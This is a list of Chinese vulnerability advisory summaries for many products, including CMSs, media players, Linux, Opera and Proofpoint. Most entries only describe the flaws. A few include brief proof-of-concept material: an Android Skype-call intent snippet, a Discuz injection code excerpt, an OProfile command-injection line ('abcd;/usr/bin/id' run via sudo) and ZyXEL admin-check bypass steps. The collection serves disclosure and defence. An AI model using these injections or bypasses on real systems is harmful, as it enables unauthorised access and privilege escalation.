chillyCMS是一款内容管理系统。应用程序把数据库备份存储在web root中的"backup"目录中，攻击者可以下载此文件获得系统敏感信息。
PhoenixCMS是一款内容管理系统。PhoenixCMS 1.7.0及其以下版本的'Universal'模块存在SQL注入漏洞，远程攻击者可利用该漏洞获取敏感信息。
PhoenixCMS是一款内容管理系统。PhoenixCMS 1.7.0及其以下版本的‘Web_Links’模块存在SQL注入漏洞，攻击者利用该漏洞可能导致敏感信息泄露。
e107是一款内容管理系统。e107 0.7.25 full版本的新闻模块存在SQL注入漏洞，可能导致敏感信息泄露。
PHPCaptcha，也叫做Securimage，是一个开源的PHP验证码库。Securimage/PHPCaptcha 1.0.4-2.0.2版本存在一个安全绕过漏洞，攻击者可以利用漏洞在受影响的程序中进行自动攻击。
Tugux CMS是一个开源的内容管理系统（CMS）。Tugux CMS存在多个安全漏洞，包括：反映型和存储型跨站脚本，SQL注入，本地文件包含，网址重定向。
Ultimate PHP Board是一款流行的论坛程序。Ultimate PHP Board在删除一个文件附件之前，ajax.php没有正确校验权限，攻击者可以提交特制POST请求绕过安全限制删除文件。
PHP168整站系统是主流CMS系统之一。 PHP168在某数组没有初试化，导致可以提交任意代码执行。
Zen Cart是开源、免费的商城系统，用于建立专业的网上商店。Zen Cart存在任意文件上传漏洞，攻击者可以利用漏洞上传任意文件至服务器。
Zen Cart是开源、免费的商城系统，用于建立专业的网上商店。Zen Cart存在一个存储型跨站脚本漏洞，攻击者注入并执行任意的JavaScript和/或HTML代码。
Zen Cart是开源、免费的商城系统，用于建立专业的网上商店。Zen Cart存在一个反射型跨站脚本漏洞，攻击者可以利用漏洞注入并执行任意的JavaScript或HTML代码。
Zen Cart是开源、免费的商城系统，用于建立专业的网上商店。Zen Cart存在完全路径披露漏洞，当点击单一页面时错误便发生，导致web服务器和虚拟主机的完整路径被披露。
MaxMind GeoIP是一款GeoIP C API开放库。Maxmind geoip 1.4.7存在目录遍历漏洞，允许远程恶意升级服务器(响应updates.maxmind.com的请求)覆盖任意文件。
My School是一款基于WEB的教育类网站系统。My School 7.02版本存在SQl注入漏洞，可能导致敏感信息泄露。
MaxMind GeoIP是一款GeoIP C API开放库。MaxMind GeoIP apps/geoipupdate-pureperl.pl脚本不正确过滤远程服务器返回的文件名，攻击者构建包含目录遍历序列的文件名，诱使用户解析，可触发目录遍历攻击。
jHTTPd是一款免费开源、简单的java Web服务器。jHTTPd 0.1a版本中存在目录遍历漏洞，攻击者可能会利用该漏洞获取敏感信息。
web2Project 是一个基于LAMP开发的项目管理系统。Web2Project 2.3中的calendar.php存在SQL注入漏洞,攻击者利用该漏洞可获取敏感信息。
Ultimate eShop是一款电子商务系统。Ultimate eShop存在SQL注入漏洞，攻击者利用该漏洞可能导致敏感信息泄露。
Zend Framework是一款开放源代码的PHP5开发框架实现。开放人员使用非ASCCI兼容编码与MySQL PDO驱动一起使用，可能容易受SQL注入的攻击。攻击者可以利用此漏洞绕过过滤机制进行SQL注入，可获得敏感信息或操作数据库。
libmspack是一款用于微软各种封装格式的解压缩程序。LZX解码器和CHM阅读器存在未明错误，目前没有详细漏洞细节提供。
klibc是精简化的c程序库，可以支持linux、unix等的小型化应用。当处理DHCP服务器的应答时，klibc库不正确转义或剔除部分shell元字符，构建特制的DHCP应答可注入任意SHELL命令。
pNetPower是北京三维力控科技有限公司推出的一款电力版监控组态软件。PNETPower 6存在一个堆缓冲区溢出漏洞。在AngelServer.exe进程中，对UDP包处理监听未能充分检查边界。攻击者可以利用漏洞进行拒绝服务攻击或远程执行任意代码。
ForceControl是北京三维力控科技有限公司生产的一款工业监控组态软件。ForceControl 6.1版本中SP3, SP2和SP1存在一个堆缓冲区溢出漏洞。由于httpsvr.exe服务器进程对超长Request-URI HTTP请求未能充分进行边界检查，攻击者可以利用漏洞进行拒绝服务攻击或远程执行任意代码。
Opera是一款开源的WEB浏览器。Framesets允许WEB页在其中持有其他页面。页面卸载时没有正确处理Framesets构造，攻击者构建恶意WEB页，诱使用户解析，可触发内存破坏。成功利用漏洞可以以应用程序安全上下文执行任意代码。
Microsoft Windows是一款流行的操作系统。Microsoft Windows Vista/Server 2008 "nsiproxy.sys"不正确处理IOCTL，攻击者可以利用此漏洞使内核崩溃，造成拒绝服务攻击。
FreeMarker是一个模板引擎，基于模板生成文本输出的通用工具。解析模板名存在输入验证错误，提交包含"\u0000"代码点的路径名，通过目录遍历攻击可装载本地资源中的任意文件。要成功利用漏洞需要具有上传模板的权限。
Alt-N MDaemon是一款基于Windows的邮件服务程序，WorldClient是客户端。通过Email标题传递的输入在用于WorldClient摘要页面时缺少过滤，攻击者可以利用漏洞进行跨站脚本攻击，可获得敏感信息或劫持用户会话。
Intel 82599 10 Gigabit Ethernet Controller是Intel提供的以太网络控制器。Intel 82598/82599 10千兆以太控制器驱动存在安全漏洞，在某些条件下，攻击者可以对此设备进行拒绝服务攻击。目前没有详细漏洞细节提供。
IBM Virtualization Manager是一款服务器虚拟化管理软件。IBM Virtualization Manager存在一个未明漏洞，允许攻击者入侵系统。
SIMATIC是西门子自动化系列产品品牌统称，来源于SIEMENS + Automatic（西门子+自动化）。它诞生于1958年，至今已有50年历史，涵盖了从PLC、工业软件到HMI，是全球自动化领导品牌。Siemens SIMATIC S7-1200 PLC Systems在实现上存在安全绕过和拒绝服务漏洞，攻击者可利用这些漏洞通过重播攻击发送任意命令在受影响控制器中执行未授权操作。攻击者可通过将受影响控制器系统放置在stop/defect状态利用拒绝服务漏洞。
klibc是由H. Peter Anvin开发的标准C库的精简子集。klibc DHCP选项处理的实现上存在远程Shell命令执行漏洞，远程攻击者可利用此漏洞在受影响应用程序中执行任意shell命令。
A-PDF All to MP3是一款音频转换器。A-PDF All to MP3 2.0.0版本中存在DEP绕过漏洞。攻击者可以利用漏洞绕过数据执行保护。
IRL DIGITAL MEDIA提供全方位服务的网页设计和网络营销机构。由IRL DIGITAL MEDIA开发的web站点可能都存在SQL注入，此漏洞可能导致敏感信息泄露。
A-PDF Wav to MP3是一款音频转换器。A-PDF Wav to MP3 1.2.0版本中存在DEP绕过漏洞。攻击者可以利用漏洞绕过数据执行保护。
CoolPlayer+Portable是一款便携式音频播放器。CoolPlayer+Portable 2.19.2版本中存在一个缓冲区溢出漏洞。目前没有漏洞细节提供。
MySQL是一个小型关系型数据库管理系统。Oracle MySQL 5.1.52之前版本在实现上存在多个拒绝服务漏洞，远程攻击者可利用这些漏洞使数据库崩溃，拒绝服务合法用户。如果在同一时间发送TRUNCATE TABLE，并检查INFORMATION_SCHEMA数据库中同一表格中的信息会造成服务器的调试版本的崩溃。
Sonique是一款音频播放器。Sonique '.m3u'文件存在一个缓冲区溢出漏洞。攻击者可以利用漏洞发起恶意攻击。
XtreamerPRO是一款流媒体播放器。XtreamerPRO 2.6.0, 2.7.0版本中存在一个文件上传漏洞。攻击者可以利用漏洞绕过认证，上传任意文件至服务器。
XtreamerPRO是一款流媒体播放器。XtreamerPRO 2.6.0, 2.7.0版本中存在一个绕过认证漏洞。攻击者可以利用漏洞绕过认证，访问服务器上敏感数据信息。
GEAR CD DVD过滤器驱动存在安全漏洞，允许本地用户进行拒绝服务攻击。(1)当处理指针表时GEARAspiWDM.sys驱动存在数组索引错误，攻击者特制的0X00222008 IOCTL可触发访问非法内存而引起的崩溃。(2)当处理指针表时GEARAspiWDM.sys驱动存在数组索引错误，攻击者特制的X00222010 IOCTL可触发访问非法内存而引起的崩溃。
apt-url是使用apt协议安装软件包的工具。apt-url处理超长URL存在缺陷，攻击者构建超长URL，诱使用户解析，可导致桌面会话崩溃，造成拒绝服务攻击。
XtreamerPRO是一款流媒体播放器。XtreamerPRO 2.6.0, 2.7.0版本中存在一个目录遍历漏洞，可能导致敏感信息泄露。
OpenSSL是一款开放源码的SSL实现，用来实现网络通信的高强度加密。Openssl椭圆曲线数字签名算法(ECDSA)实现不正确防止时序攻击，攻击者可以利用漏洞获得使用ECDSA签名的TLS服务器的私钥。
Open Handset Alliance Android是一款超过30家科技与移动电话公司所组成的团体开发的免费的移动电话平台。使用IPC(Binder/Intent)默认策略的Android sandbox存在缺陷，攻击者无需特权可绕过沙盒使用任意参数调用各种组件，如通过app中调用一个长途Skype呼叫：public class main extends Activity {    @Override    public void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.main);                        Intent i = new Intent("android.intent.action.VIEW");                Bundle b = new Bundle();        i.putExtra("com.skype.android.verizon.extra.CALL_TARGET", b);        b.putInt("com.skype.android.verizon.bundle.TARGET_TYPE", 1);        b.putString("com.skype.android.verizon.bundle.TARGET", "2065551212");        i.setComponent(new ComponentName("com.skype.android.verizon","com.skype.android.verizon.activity.CallActivity"));        startActivity(i);    }
Network Block Device是一款稳定、高效的开源网络存储软件,可被用于构建基于Linux平台的网络存储系统。Network Block Device在协商阶段存在一个空指针引用错误，远程攻击者可以利用漏洞对服务进行拒绝服务攻击。
WordPress是一款流行的blog系统。Wordpress is_human()插件不正确过滤用户提交的输入，远程攻击者可以利用漏洞注入命令，以应用程序上下文执行任意命令。
Pligg是一款灵活的web2.0内容管理系统。Pligg 1.1.4及之前版本中存在SQL注入漏洞，可能导致敏感信息泄露。
Vanilla Forum是一个开源的论坛系统。Vanilla Forum 2.0.17.9版本中存在本地文件包含漏洞，可能导致敏感信息泄露。
Jcow是一款基于PHP的社交网络和在线社区脚本。Jcow 4.2.1版本中存在本地文件包含漏洞，可能导致敏感信息泄露。
Winamp是一款流行的媒体播放器。当处理System Exclusive (SysEx) MIDI消息时存在一个整数下溢错误，攻击者构建特制MIDI文件，诱使用户解析可触发基于堆的缓冲区溢出。
Novell eDirectory是一款跨平台的目录服务器。Novell eDirectory和Netware LDAP-SSL守护程序存在安全漏洞，允许远程攻击者对程序进行拒绝服务攻击。
Linux是一款开放源代码的操作系统。在icmp_send() (net/ipv4/icmp.c)函数中，传递给dev_net()的参数没有正确校验，可导致空指针应用而使内核崩溃。攻击者可以利用此漏洞对连接在内部网络的特定目标或任意2.6.38.x机器进行攻击。要使系统崩溃，攻击者必须使用分片IPv4报文进行flood攻击。
keepalived是一个类似于layer3, 4 & 5交换机制的软件，用于检测web服务器的状态。keepalived启动时会创建666模式的文件：/var/run/checkers.pid/var/run/vrrp.pid/var/run/keepalived.pid/var/run/starter.pid
Guppy一款来自法国的CMS系统。Guppy存在未明安全漏洞，目前没有详细漏洞细节提供。
AVS Ringtone Maker允许用户定制铃声。AVS Ringtone Maker不正确处理'.au'文件，攻击者构建恶意文件，诱使用户解析可触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
EditorMonkey是WordPress中的一款插件。EditorMonkey中的FCKeditor编辑器存在远程文件上传漏洞，可能导致攻击者直接利用该漏洞获取webshell。
osCommerce是一款开放源代码的电子商务程序。osCommerce 2.3.1版本中的banner_manager.php存在文件上传漏洞，可能导致攻击者直接获取webshell。
frame-oshop是一款电子商务系统。frame-oshop中存在SQL注入漏洞，可能导致敏感信息泄露。
com_question是Joomla的一款插件。com_question存在SQL注入漏洞，可能导致敏感信息泄露。
IBM Datacap Taskmaster Capture可将文档数据输入过程自动化，从而降低成本，提高文档处理效率。部分传递给IBM Datacap Taskmaster Capture TMWeb组件的输入缺少充分过滤，攻击者可以利用漏洞注入任意SQL代码，可获得敏感信息或操作数据库。
DreamBox DM500系列是智能化机顶盒设备。DreamBox DM500不正确用户提交的包含目录遍历字符的URL请求，远程攻击者可以利用漏洞以应用程序上下文查看系统文件信息。
勤云科技公司生产的远程稿件处理系统由于未能对上传文件格式或文件上传目录读写权限进行检查，致使攻击者可上传特定构造的网站后门文件，直接获得网站的管理权限 。
Anymacro Mail System G4X是由Anymacro公司生产的较老版本的邮件系统。 由于邮件系统相关页面的未能对传入参数进行严格过滤，可通过猜测邮件系统服务器文件路径的方式获得服务器上的文件。
Symantec Backup Exec System Recovery一款中小型企业经济型备份和恢复解决方案。GEARAspiWDM.sys驱动没有正确检查IOCTL的输入，修改一个字节可抛发异常，造成拒绝服务攻击。
SlimPDF Reader是一款超轻量级免费PDF阅读器。SlimPDF Reader处理PDF文件存在边界错误，构建恶意文件诱使用户解析可触发基于堆的缓冲区溢出。成功利用允许执行任意代码，但需要应用程序在安装过程中配置为默认关联PDF文件(非默认选项)。
Nagios是一个监视系统运行状态和网络信息的监视系统。Nagios 'reset_configs-perms.c'没有正确验证'setuid()'函数的调用的返回值，本地攻击者可以利用漏洞获得root特权。
KMPlayer是一款影音播放软件。KMPlayer在解析畸形rm文件时存在堆溢出漏洞,攻击者可能会利用该漏洞导致应用程序崩溃或执行任意代码。
CommerceSQL是一款电子商务系统。CommerceSQL中的index.cgi存在本地文件包含漏洞，攻击者利用该漏洞可能导致敏感信息泄露。
First Escort Marketing是一款商业的内容管理系统。First Escort Marketing中的多个文件存在SQL注入漏洞，可能导致敏感信息泄露。
GOLF SCORES是Joomla的一个组件。GOLF SCORES存在SQL注入漏洞，攻击者利用该漏洞获取敏感信息，造成敏感信息的泄露。
CVMH Solutions是一款电子商务系统。CVMH Solutions中的fiche_produit.php存在SQL注入漏洞，可能导致敏感信息泄露。
ZAPms是一款内容管理系统。ZAPms 1.22版本存在SQL注入漏洞，可能导致敏感信息泄露。
Chasys Media Player是一款多用途的媒体播放器。Chasys Media Player 2.0存在缓冲区溢出漏洞，攻击者可本地利用此漏洞导致执行任意代码。
Drupal是一款开源CMS。Drupal的Taxonomy Access Control Lite (tac_lite)模块存在一个跨站脚本漏洞。攻击者可以利用漏洞执行任意脚本代码。
phpopentailorshop是一款订单管理系统。phpopentailorshop存在一个跨站脚本漏洞。目前没有漏洞细节提供。
phpopentailorshop是一款订单管理系统。phpopentailorshop存在一个本地文件包含漏洞，可能导致敏感信息泄露。
Discuz!是一款流行的Web论坛程序。DiscuzX1.5版本门户管理权限SQL注入漏洞。source\include\portalcp\portalcp_article.php//90行if($_G[''gp_conver'']) {$converfiles = unserialize(stripcslashes($_G[''gp_conver'']));$setarr[''pic''] = $converfiles[''pic''];$setarr[''thumb''] = $converfiles[''thumb''];$setarr[''remote''] = $converfiles[''remote''];}可以看出变量 $converfiles 没有 addcslashes。$aid = DB::insert(''portal_article_title'', $setarr, 1); //122行进入数据库查询，因此存在SQL注射BUG。
Zblog是基于Asp平台的Blog博客(网志)程序。cmd.asp在对用户提交数据处理上存在安全漏洞。
Z-blog是基于Asp平台的Blog博客(网志)程序。Z-blog使用的默认编辑器存在路径信息泄露漏洞。
Linux是一款开放源代码的操作系统。Linux蓝牙模块net/bluetooth/l2cap_sock.c提供的"l2cap_sock_getsockopt_old()"函数在拷贝结构数据到用户空间时缺少正确初始化，可泄露敏感内核栈信息。
MyBlog是一个J2ee的开源自建blog系统，攻击者通过他的一些组件问题，可以上传任意文件。由于使用了早期版本的fckeditor，导致可以通过文件名截断，绕过后缀名验证，上传任意文件。
com_versioning 是Joomla的一个组件。com_versioning存在SQL注入漏洞，可能导致敏感信息泄露。
Citrix XenServer是实现服务器虚拟化和提供动态数据中心的最简捷和最有效的方式，动态数据中心为计算和存储提供灵活的资源池。Citrix XenServer不安全记录存储介质的验证信息，本地用户可利用此漏洞获得敏感信息。
Citrix XenServer是实现服务器虚拟化和提供动态数据中心的最简捷和最有效的方式，动态数据中心为计算和存储提供灵活的资源池。Citrix XenServer存在一个未明错误，允许中断hypervisor的正常操作，要成功利用此漏洞需要在guest操作系统上拥有管理特权。
Quest Software Big Brother是一款系统监视软件。当处理"ack"请求时Server服务(bbntd.exe)存在输入验证错误，向TCP 1984端口提交包含目录遍历符的特制报文，可删向系统上传任意文件。
Quest Software Big Brother是一款系统监视软件。当处理"page"请求时Server服务(bbntd.exe)存在输入验证错误，向TCP 1984端口提交包含目录遍历符的特制报文，可删除系统任意文件。
BalaBit IT Security syslog-ng是一款系统日志记录工具, 可用于替代标准的Unix系统日志记录程序syslogd。当处理组合"global"标签的规则表达式时，syslog-ng存在一个安全漏洞，允许攻击者触发死循环，消耗大量CPU和内存，造成拒绝服务攻击。
Kay Framework是一款用于Google App引擎的WEB框架。Kay Framework库没有正确校验属性交换信息的签名，攻击者可以利用漏洞操作AX信息。
Amigot是一款在线电子商务系统。Amigot中的story.php存在SQL注入漏洞，攻击者利用该漏洞可能导致敏感信息泄露。
Xen是一款开放源代码的虚拟机。Xen存在整数溢出缺陷和缺失的错误/范围检查可造成死循环，特权用户利用这些缺陷可使guest机崩溃或在特权管理域(Dom0)中执行任意代码。
Sybase M-Business Anywhere可以把将基于Web的内容和应用程序快速传送到移动设备。默认监听TCP 8093和8094端口的gsoap.exe模块存在缺陷。通过POST请求远程用户发送包含非法'password'结束标签的特制SOAP请求给WEB服务器，可在gsoap.exe模块上触发缓冲区溢出，成功个利用漏洞可以以目标服务上下文执行任意代码。
Sybase M-Business Anywhere可以把将基于Web的内容和应用程序快速传送到移动设备。默认监听TCP 80和443端口的agd.exe组件存在缺陷，当调用agd!encodeUsername时，进程会在堆上创建一个100字节的缓冲区，进程拷贝用户提供的数据到固定长度缓冲区时缺少充分的检查，攻击者可以利用漏洞触发缓冲区溢出，成功利用漏洞可以以SYSTEM用户上下文执行任意代码。
Serva32是一款集中多种协议如HTTP, FTP, TFTP，DHCP等服务的应用程序。Serva32存在拒绝服务攻击，攻击者可以利用漏洞使服务程序崩溃。
Sybase M-Business Anywhere可以把将基于Web的内容和应用程序快速传送到移动设备。在端口80和443(HTTPS)上监听SOAP和SYNC(HTTP)请求的agsync.dll存在缺陷。当处理用户提供的用户名参数时，进程没有正确校验字符串长度，用户提供的数据拷贝到堆中固定大小的缓冲区时可触发缓冲区溢出，成功利用漏洞可以向agd.exe进程注入任意代码，以SYSTEM上下文执行任意代码。
Serva32是一款集中多种协议如HTTP, FTP, TFTP，DHCP等服务的应用程序。Serva32存在目录遍历，攻击者可以利用漏洞获得系统敏感文件信息。
Opera Web Browser是一款流行的WEB浏览器。Opera Web Browser不正确处理使用超大SIZE参数的SELECT标签，Opera 10.60及之前版本受任意内存被0x00000000写漏洞影响，攻击者可以构建恶意WEB页，诱使用户访问，可能以应用程序上下文执行任意代码。
Linux是一款开放源代码的操作系统。对部分DCCP选项提供非法的option长度，远程主机在解析时会越界读取入站报文边界之外的信息，如果读取的是没有映射的内存可导致拒绝服务攻击。或允许攻击者基于解析器应答获取内核堆内存的地址信息。
Linux是一款开放源代码的操作系统。在CIFS组件中使用O_DIRECT set创建文件时，存在一个空指针引用错误，本地攻击者可以利用这个漏洞使系统崩溃。
Google Chrome是一款流行的WEB浏览器。Vupen发现一个Google Chrome安全漏洞，可绕过ASLR/DEP/Sandbox所有安全限制，在所有windows系统上(32位和x64)平台上执行任意代码。攻击者可以构建恶意WEB页，诱使用户访问，在目标用户系统系统上执行各种负载。
virt-v2v是一款Xen-to-KVM迁移工具，为Xen虚拟机迁移到KVM提供了简明易用的管理界面。在使用virt-v2v进行虚拟机转换后，目标VM将不会启用VNC密码(即使源VM启用了密码)，攻击者可以利用这个缺陷连接目标VM并进行相关操作。
SpongeBob Square Pants Typing是一款美国畅销的儿童打字软件。SpongeBob Square Pants Typing不正确处理XML文件，攻击者可以利用漏洞构建恶意文件，诱使用户解析触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
Skype是一款流行的P2P VoIP软件，可提供高质量的语音通讯服务。 Mac OS X平台上运行的Skype存在一个安全漏洞，允许攻击者只发送一条消息就完全控制目标机器。目前没有详细漏洞细节提供。
Front Accounting (FA)是一款专业的网页会计系统。Front Accounting 2.3.4版本中存在跨站请求伪造漏洞，攻击者可以利用漏洞创建新的管理员。
PHPDug 2.0.0及之前版本存在多个跨站脚本漏洞，攻击者可以利用漏洞在受影响的程序中执行任意代码。
PHPDug 2.0.0及之前版本中存在一个跨站请求伪造漏洞。该漏洞存在于“admin/ admin_edit.php”脚本没有正确验证的HTTP请求的来源，攻击者利用漏洞可以窃取或修改敏感数据。
VCalendar (Virtual Calendar)是一个在线记录，管理事件和计划的开源Web日历应用程序。VCalendar 1.1.5版本中存在一个跨站请求伪造漏洞，是由于"/admin/users_maint.php"脚本没有正确验证HTTP的来源，攻击者可以利用漏洞窃取或修改敏感信息。
Parnian Opendata是一款使用PHP开发的内容管理系统。Parnian Opendata中的index.php文件存在SQL注入漏洞，可能导致敏感信息泄露。
Travel411是一款酒店行业管理系统。Travel411中的info.php存在SQL注入漏洞，可能导致敏感信息泄露。
Horizon Web Builder是一款使用PHP开发的Web生成系统。Horizon Web Builder中的fshow.php存在SQL注入漏洞，可能导致敏感信息泄露。
Time and Expense Management System是一款使用PHP开发的ERP系统。Time and Expense Management System中存在反射型跨站脚本漏洞，攻击者可以利用漏洞执行任意JavaScript。
Time and Expense Management System是一款使用PHP开发的ERP系统。Time and Expense Management System中存在文件上传漏洞，攻击者可以利用漏洞上传PHP shell。
Time and Expense Management System是一款使用PHP开发的ERP系统。Time and Expense Management System存在命令注入漏洞，攻击者可以利用漏洞执行任意操作系统命令。
phpThumb是一个开源的php缩略图类。phpThumb存在信息泄露漏洞，可能泄露系统绝对路径、os flavour、应用程序配置信息和其它已安装程序的版本信息。
VLC Media Player libmodplug在实现上由于使用了有漏洞版本的libmodplug库，存在缓冲区溢出漏洞。恶意用户可利用此漏洞控制用户系统。
系统安全服务守护程序（SSSD）用于在Fedora系统中提供一些安全服务。当更新kerberos票据启用时(这是1.5.0版本中的新功能)SSSD如何处理缓存密码存在缺陷。由于这个漏洞，缓冲密码可被可预测文件名覆盖，如果在知晓缓存密码的情况下允许用户以其他用户上下文通过验证。
BMC Remedy知识库管理是一个用于创建，出版，审查和搜索IT资讯知识文章的框架。BMC Remedy知识库管理存在多个输入漏洞，允许攻击者进行跨站脚本攻击。
BMC Remedy知识库管理是一个用于创建，出版，审查和搜索IT资讯知识文章的框架。BMC Remedy知识库管理使用内置的默认账户，可被利用绕过验证。
BMC Dashboards是一款用于BSM决策支持自动化的运营管理分析软件。BMC Dashboards存在多个输入漏洞，允许攻击者获得源文件敏感信息。
BMC Dashboards是一款用于BSM决策支持自动化的运营管理分析软件。BMC Dashboards存在多个输入漏洞，允许攻击者进行跨站脚本攻击。
Sipdroid是一个运行于Android手机平台上的SIP/VoIP客户端。Sipdroid不正确应答INVITE报文，攻击者可以根据返回信息判断合法用户名信息，导致敏感信息泄露。
Mojolicious是下一代的Perl语言的Web编程框架。Mojolicious 'link_to helper'存在HTML注入漏洞，允许攻击者构建恶意链接，诱使用户访问，获得敏感信息或劫持用户会话。
Sothink DHTML Menu是一款无需了解DHTML和JavaScript，只需轻点鼠标就可以制作出具有专业水准的动态菜单和导航条的工具。 Sothink DHTML Menu 存在SQL注入漏洞，没有合理验证提交给File.asp脚本中id参数的用户输入，恶意的用户可构造恶意的SQL语句，执行对底层数据库的查询，导致SQL注入攻击。攻击者可利用此漏洞导致敏感信息泄露，或发起进一步的攻击。
ZyXEL ZYWall USG是防火墙产品系列。具有"limited-admin"角色的用户允许登录基于WEB的管理接口并进行某些方面的部署。不过不可能下载当前配置文件，因为这包含所有用户的密码哈希。当按下WEB接口文件管理器上的"download"按钮时，JavaScript对话窗口会通知用户此操作不允许。但是，如果设置JavaScript变量"isAdmin"为"true"(如使用Firefox web浏览器中的"Firebug"扩展的JavaScript控制台)来禁止此项检查，就会让用户下载指定的配置文件。也可能直接打开URL下载配置文件，应用程序没有检查服务器端上用户的权限。
ZyXEL ZYWall USG是防火墙产品系列。ZyXEL ZYWall USG是存在多个安全漏洞，攻击者可以从加密固件升级ZIP文件中提取应用设备的文件系统，并且攻击者可以上传或下载应用设备中的任意配置文件。结合这两个漏洞，攻击者可以把用户账户和选定的密码增加到运行的应用设备中而无需重启。
WordPress是一款流行的blog系统。应用程序不正确校验上传的文件，通过上传附加".gif"文件扩展的.phtml文件可执行任意PHP代码。要成功利用漏洞需要在后端拥有"Author"权限，而且Apache没有配置处理类似".jpg"或".gif"扩展的mime-type媒介文件。
SPlayer是一款媒体播放程序。当解析远程服务器返回的特制的HTTP头字段时存在缓冲区溢出，漏洞是由于"Content-Type:"字段传递给wcstol()函数，没有任何边界检查而触发的，这允许攻击者诱使用户打开特制的播放列表文件，其中包含的URL指向恶意WEB服务器来触发。
Cisco IOS是一款流行的Internet操作系统。Cisco Internetwork Operating System (IOS) 15.0尝试在不正确的端口上(UDP 161, 162)处理SNMP操作，当SNMP禁用时允许远程攻击者进行拒绝服务攻击。此漏洞可使进程消耗大量CPU资源，如果攻击成功必须手工重置设备获得正常功能。
Proofpoint Protection Server是一款电子邮件安全服务解决方案。传递给process.cgi的查询字符串的输入缺少过滤，可导致嵌入恶意JavaScript，攻击者可以构建恶意WEB页，诱使用户访问触发此漏洞，可获得敏感信息或劫持用户会话。
OpenSSH是一款SSH协议开放源代码实现。如果使用了ssh-rand-helper，Portable OpenSSH的ssh-keysign工具允许未授权本地访问平台上的主机密钥。ssh-keysign是一款setuid帮助程序用于在基于宿主机验证过程中间接访问宿主的主机私钥。其会使用提升特权来打开密钥，然后立即丢弃特权完成它的加密签名操作。在丢弃特权后，ssh-keysign会依赖OpenSSl的随机生成器。在OpenSSL中缺少内置熵来源的配置中，ssh-keysign会执行ssh-rand-helper程序尝试从系统环境中获取随机数。但是，宿主私钥文件的文件描述符在执行ssh-rand-helper之前没有正确关闭，由于这个进程是"born unprivileged"并继承敏感文件描述符，没有对攻击者使用ptrace(2)挂接进行保护，可导致最后读出私钥信息。
SQLite-Ruby是Ruby脚本语言的SQLite数据库模块，提供了操作SQLite数据库的相关接口。sqlite3-ruby软件包包含一些全局可写文件，本地用户可以利用此漏洞向使用rubygem-sqlite3的程序注入任意代码。
DirectAdmin是一款功能强大的虚拟主机在线管理系统。DirectAdmin把MySQL数据库备份文件创建在全局可读的"mysql_backups"文件夹中，可导致泄露MySQL数据库备份内容。要成功利用漏洞需要CustomBuild用于更新MySQL数据库，并且"mysql_backup"设置为"yes"。
DirectAdmin是一款功能强大的虚拟主机在线管理系统。当创建备份时不正确检查部分硬链接，本地攻击者可以通过硬链接攻击操作部分文件，提升特权。
Adobe Photoshop是一款功能强大的图像处理软件。Adobe PhotoShop CS5 12.0.4修复多个安全漏洞，目前没有详细的漏洞细节提供。
UDisks存在安全漏洞允许任意用户装载任意内核模块。通过udisks dbus服务，可以安装/media中的任意文件系统，由于调用了"mount -t $NAME"，这也可以触发"modprobe -q -- $NAME"，如用户可从/lib/modules装载任意LKM。
Proofpoint Protection Server是一款电子邮件安全服务解决方案。Proofpoint Protection Server无需校验即可访问某些管理员模块。远程攻击者可以利用漏洞获得敏感信息，执行任意命令，执行管理员操作。
Proofpoint Protection Server是一款电子邮件安全服务解决方案。Proofpoint web接口函数可被操作以在服务器上执行任意命令。
Proofpoint Protection Server是一款电子邮件安全服务解决方案。Proofpoint接口存在SQL注入漏洞。远程攻击者可以利用漏洞获得敏感信息，执行任意命令，执行管理员操作。
Proofpoint Protection Server是一款电子邮件安全服务解决方案。Proofpoint Protection Server用户可以无需提供合法登录信息获得对Proofpoint邮件过滤器web接口的用户级访问权限。
PEAR是一款PHP的官方开源类库。当执行PEAR安装时存在符号链接漏洞，由于不安全在download_dir, cache_dir和tmp_dir目录中创建临时文件，本地攻击者可以通过符号链接获得敏感文件内容。
OProfile是Linux内核支持的一种性能分析机制。通过sudo使用opcontrol可执行任意命令，问题存在于set_event函数中，$2内容没有检查：set_event(){  eval "CHOSEN_EVENTS_$1=$2"}可通过-e选项，使用如下方法注入命令：$ sudo opcontrol -e "abcd;/usr/bin/id"uid=0(root) gid=0(root) groups=0(root)No such event "abcd"
Linux是一款开放源代码的操作系统。当设置了CONFIG_OABI_COMPAT时，semtimedop封装程序没有正确对nsops参数进行边界检查，超大值可绕过安全检查，并分配过小的缓冲区，后续拷贝过多数据到分配的缓冲区可触发缓冲区溢出。
Embarcadero InterBase XE是一款高性能易安装的全功能数据库。默认监听TCP 3050端口的数据库服务程序ibserver.exe存在缺陷，当特殊构建的"connect" (opcode 0x01)消息发送给服务时，可触发基于栈的缓冲区溢出，成功利用漏洞可以以SYSTEM上下文执行任意代码。
Asterisk是一款开放源码的软件PBX，支持各种VoIP协议和设备。通过使用INVITE请求方法代替REGISTER方法，可获取合法SIP用户名。
Ajax Category Dropdown是一款用于列出下拉列表框中所有的类别的Wordpress插件。Ajax Category Dropdown Wordpress Plugin 0.1.5存在SQL注入漏洞，这是因为在“/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php”脚本中没有合理地验证用户输入。攻击者可修改SQL查询语句，执行对数据库的查询，完全控制应用程序，访问或修改敏感数据或利用底层数据库的漏洞发起进一步攻击。
Kusaba X是在PHP编写的网站中使用的imageboard。Kusaba X 0.9.1之前版本'manage_page.php'脚本中不正确校验HTTP请求来源，攻击者可以利用漏洞通过执行任意SQL命令。
Kusaba X是在PHP编写的网站中使用的imageboard。Kusaba X 0.9.1之前版本存在一个跨站脚本漏洞。攻击者可以利用漏洞在用户浏览器会话中执行任意HTML和脚本代码，窃取用户Cookie，绕过安全限制。
Nikon数码设备支持图像认证。Nikon图像认证实现存在一个设计缺陷，ElcomSoft研究人员发现相机处理图像签名密钥的安全存在缺陷，漏洞允许攻击者从Nikon相机中获取原始签名密钥，结果可操作完全由合法验证签名的图像。通过使用签名密钥，攻击者可以生成完全可以绕过Nikon图像认证软件检测的图像。
Spree 是一款开源的电子商务平台，由 Ruby on Rails 开发。Spreecommerce存在一个安全漏洞，攻击者可以利用漏洞执行任意命令。
Netop Remote Control是一款功能强大的远程控制软件。Netop Remote Control不正确处理'.dws'文件，攻击者构建恶意文件，诱使用户解析可触发缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
